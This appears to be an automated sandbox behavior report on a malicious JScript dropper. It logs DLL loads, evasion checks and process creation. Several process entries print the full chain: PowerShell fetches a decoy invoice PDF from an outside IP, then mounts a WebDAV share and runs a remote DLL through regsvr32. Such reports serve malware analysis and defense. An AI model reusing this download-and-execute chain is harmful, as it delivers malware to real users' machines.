Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\762.js.csv");ITextStream.WriteLine(" entry:7328 f:kboctsg");ITextStream.WriteLine(" exec:2 f:kboctsg");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3949			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5911			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1240	Thread sleep count: 3949 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1648	Thread sleep count: 5911 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6708	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2120	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7384	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7612	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 0000000D.00000002.1336500002.000001759DAAC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1336500002.000001759DA48000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2562233219.00000211DE629000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2563717330.00000211E3C57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 0000000D.00000002.1336500002.000001759DAAC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
